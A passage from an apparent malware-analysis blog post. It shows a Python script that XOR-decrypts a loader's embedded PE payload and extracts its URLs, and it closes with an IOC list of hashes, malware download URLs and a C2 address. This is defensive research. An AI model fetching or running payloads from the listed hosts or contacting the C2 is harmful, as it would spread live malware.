        data = file.read()
        
        # Find the program section start
        program_section_start = bytes.fromhex("CE0052004F00D6006B")
        program_index = data.find(program_section_start)
        
        if program_index != -1:
            # Extract the program section
            program_section = data[program_index: program_index + 0x9c00 * 2]

            # Read every alternate byte
            program_section = program_section[::2]

            print("Program Section Length:", len(program_section))

            # Repeat the key to match the length of the program section
            repeated_key = (key * (len(program_section) // len(key) + 1))[:len(program_section)]

            # Perform XOR operation
            output = xor_bytes(program_section, repeated_key)

            # Write the output to "decrypted_payload.bin"
            with open("decrypted_payload.bin", "wb") as output_file:
                output_file.write(output)
            
            # Find HTTP strings in decrypted payload
            with open("decrypted_payload.bin", "rb") as decrypted_file:
                decrypted_payload = decrypted_file.read()
                http_strings = find_http_strings(decrypted_payload)

                # Print the found URLs
                if http_strings:
                    print("Malware Config (HTTP URLs):")
                    for url in http_strings:
                        print(url)
                else:
                    print("No malware config (HTTP URLs) found.")
        else:
            print("Program section not found in the file.")

if __name__ == "__main__":
    main()

This resultant dumped PE file is clean and can be analyzed easily due to minimal obfuscation and the presence of strings in cleartext.

Figure 18: Demonstrates the execution of the Python script against the sample, resulting in the dumping of a clean PE file along with the printed URLs found within this file

Figure 19: Displays the clean PE output generated from the execution of the Python script against the loader binary

Upon analyzing the decrypted PE file, we observe the presence of two additional payloads that are referenced and utilized by the malware.

Figure 20: Displays the download script of two additional payloads, namely sd4.ps1 and sd2.ps1 orchestrated by a PowerShell script

Figure 21: Illustrates the two final payloads utilized by the malware

These PowerShell scripts are responsible loading two .NET executables into memory. However, this blog post primarily emphasizes the initial delivery and loading mechanisms employed by the malware, rather than delving into its complete functionality. The next installment will provide a comprehensive analysis of the malware's behavior and features, including these scripts.


IOCs

The indicators mentioned here are based on the analysis conducted by me and do not include any externally referenced indicators.

Name IOC Type
chasebank_statement_mar.zip 5B08207CBA417BFD2E5A776D16B57556 MD5
chasebank_statement_mar.lnk 2655FA1657F6239E530B4035C51C41B9 MD5
6E7ybtsVNxGv.bat 0E21441AE0920ED3B058D4AD7FEDED20 MD5
GSOLAMHFGX09.js D16A4362E03920F2DA30BF6D672C9A62 MD5
agent1.ps1 8706A8D37F55F39D524DAE86E4D27990 MD5
agent3.ps1 A3EE8655F45C72F5231DED7A4A1C7E43 MD5
shellcode.bin (Shellcode saved as a file) E48DAB182FA3F47D088C562DB0E44D31 MD5
oligochaete.exe 47E208687C2FB40BDBAA17E368AAA1BD MD5
decrypted_payload.bin (Decrypted PE file) 1901593E0299930D46B963866F33A93B MD5
sd2.ps1 4F55BE0B55EC67DFDA42B88E9C743A2A MD5
sd4.ps1 A18668C170EAA7A19DA66924E5748347 MD5
sd2.exe (Generated from shellcode in sd2.ps1) FC4C96E060AA1319925612BB0E382F60 MD5
sd4.exe (Generated from shellcode in sd4.ps1) 98E0144FC137AA1EA7E0CC185F36B86C MD5
Download URL for 6E7ybtsVNxGv.bat https://admiralpub.ca/wp-content/uploads/2017/olympiadic.php URL
Download URL for GSOLAMHFGX09.js https://admiralpub.ca/wp-content/uploads/2017/oligophosphaturia.php URL
Download URL for agent1.ps1 https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1 URL
Download URL for agent3.ps1 https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1 URL
Download URL for oligochaete.exe https://admiralpub.ca/wp-content/uploads/2017/oligochaete.exe URL
Download URL for sd2.ps1 https://admiralpub.ca/wp-content/uploads/2017/sd2.ps1 URL
Download URL for sd4.ps1 https://admiralpub.ca/wp-content/uploads/2017/sd4.ps1 URL
C2 http://91.202.233.209/hypermetropia.php URL
Saptarshi Laha

I'm a passionate Threat Intelligence Analyst based in Ireland, delving deep into the fascinating realms of Reverse Engineering and Malware Analysis. With a keen eye for dissecting malicious code and navigating Capture The Flag challenges, I guide you through virtual mazes of cryptographic puzzles and real-world malware samples, sharing insights and strategies for navigating the cybersecurity landscape.

https://BinHex.Ninja
Previous
Previous

Latrodectus - Unweaving the Web